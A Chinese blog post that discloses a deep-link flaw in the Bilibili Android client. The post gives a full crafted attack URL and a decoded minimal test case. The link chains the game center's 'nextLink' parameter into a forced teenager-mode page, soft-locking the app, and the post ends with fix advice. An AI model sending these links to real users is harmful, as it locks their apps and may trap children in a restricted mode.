OK啊,今天给大家带来哔哩哔哩最新最热漏……bug。
其实也不算新了,早就有了。大概这个漏洞是我两年前左右挖出来的,只不过是没什么人知道和滥用。大概也就跟朋友互相开玩笑拿这玩意玩过而已。
那么我为什么要提起来呢?原因是都2026年了B站还没修这个bug。况且之前我在BSRC提了没人理我(悲)
客户端版本:8.83.0 (release-b23203277),也就是我写稿时候的市场包最新版本。

首先来给大家看一眼最终效果:
客户端拒绝服务攻击
首先,它最明显的攻击路径是让你正常用户在正常情况下进入了不该进入的页面,从而导致操作被软锁。最终引发客户端拒绝服务。
看背景,它是发生在游戏中心里的。因为它是在游戏中心下面的弹框。

实际上,看似在游戏中心里,实则是从外部跳转过去的。而跳转的位置可以是任意
这让危害进一步提升:如果只是朋友间开玩笑那还好说,问题是这个东西它 能 被 滥 用!也就是说它能够被用于炸任何人,只要对方点了攻击者指定构造的URL。这跟“你的账号已被封禁”又有什么区别呢?
但它的影响却又没有那么严重,因为只是影响当前实例的状态。也就是说用户只需要划后台给它硬重启下就能解决这个问题。
可是那些喜欢好奇点着玩的小孩子用户呢?他们只知道手机划不了了,如果不求助大人的帮助可能难以独立解决。况且这个窗口的文案容易让小孩自己就开了青少年模式,于是后悔了却发现忘记密码了

B站内部写客户端代码的肯定都知道,客户端里面内置了一套自定义协议,名字叫urlScheme。它能让我们以深度链接的方式唤起某一功能或策略,用于指定场景下的能力打通。
当然这个拒绝服务攻击的漏洞也不例外,它也是以深度链接的形式存在的。不然不可能通过外部跳转来触发。

以下是我构造的攻击URL:
https://a.app.qq.com/o/simple.jsp?pkgname=tv.danmaku.bili&ckey=CK1474482145968&android_schema=bilibili%3a%2f%2fgame_center%2fhome_wiki%3fmessage%3d%e5%98%bf%e5%a3%b3%26nextLink%3dbilibili%253a%252f%252fteenagers_mode%252fforce_enter%253fbbid%253d94bdf782-a460-4356-8e32-143c047483db%2526enter_type%253d13%2526mode%253dteenager%2526oid%253d2258947%26token%3db66fa5b0519ecf6da307f28501036c2f&name=bilibili-currency-link.normal.jump
录屏复现攻击链路:

我们不难发现,这个URL由好几部分组成,每个部分都有不同程度的url编码来嵌套各个部分来作为下一部分的参数。

让我们拆开每一部分来看:
首先进行第一次URL解码

1
https://a.app.qq.com/o/simple.jsp?pkgname=tv.danmaku.bili&ckey=CK1474482145968&android_schema=bilibili://game_center/home_wiki?message=嘿壳&nextLink=bilibili%3a%2f%2fteenagers_mode%2fforce_enter%3fbbid%3d94bdf782-a460-4356-8e32-143c047483db%26enter_type%3d13%26mode%3dteenager%26oid%3d2258947&token=b66fa5b0519ecf6da307f28501036c2f&name=bilibili-currency-link.normal.jump

这时,我们得以窥见腾讯的主服务跳转URL域名a.app.qq.com路径下的android_schema参数的真相。
bilibili://game_center/home_wiki?message=嘿壳&nextLink=
它首先跳转到了游戏中心,然后由游戏中心代为跳转nextLink。这也就是为什么你能看到弹窗的背景的游戏中心的原因所在。
然后进行第二次URL解码

1
https://a.app.qq.com/o/simple.jsp?pkgname=tv.danmaku.bili&ckey=CK1474482145968&android_schema=bilibili://game_center/home_wiki?message=嘿壳&nextLink=bilibili://teenagers_mode/force_enter?bbid=94bdf782-a460-4356-8e32-143c047483db&enter_type=13&mode=teenager&oid=2258947&token=b66fa5b0519ecf6da307f28501036c2f&name=bilibili-currency-link.normal.jump

这次我们获得了关于它的全部真相。

1
bilibili://game_center/home_wiki?nextLink=bilibili://teenagers_mode/force_enter?mode=teenager

这才是它的核心,其余的全是点缀用的垃圾参数,目的是混淆视听。以上是一个最小的测试用例,你可以直接复制它去浏览器跳转这个目标。你就会发现跟那个链接在QQ里的效果其实是一模一样的,只不过QQ的多了一层跳板而已。
当然,如果你把mode=teenager这个参数删了的话你就会发现根本就点不动了,那唯一一个按钮也点不动。整个界面没有一点能动的地方了。
还是和之前一样,只删参数:

至于为什么不直接用force_enter,是因为这个没办法对外深度链接,只能在客户端里跳才能唤起对应功能。但是如果我们再套一个对外的“跳转层”游戏中心的跳板就又可以利用攻击了。 总之就这样,很简单。问题出在了他们没有对场景做检查和校验,让任意跳转都能触发这个硬控手段。为了防止黑客搞事,建议修复。

修复建议:给“强制进入未成人模式”的相关深度链接加场景校验,不要让任何链接都能调用它。或者是如果业务不是必须用到深度链接的话可以考虑其他方式调用,这样别人就没辙了。一定要提高安全性,不然会 成为漏勺 引发网络隐患和安全风险。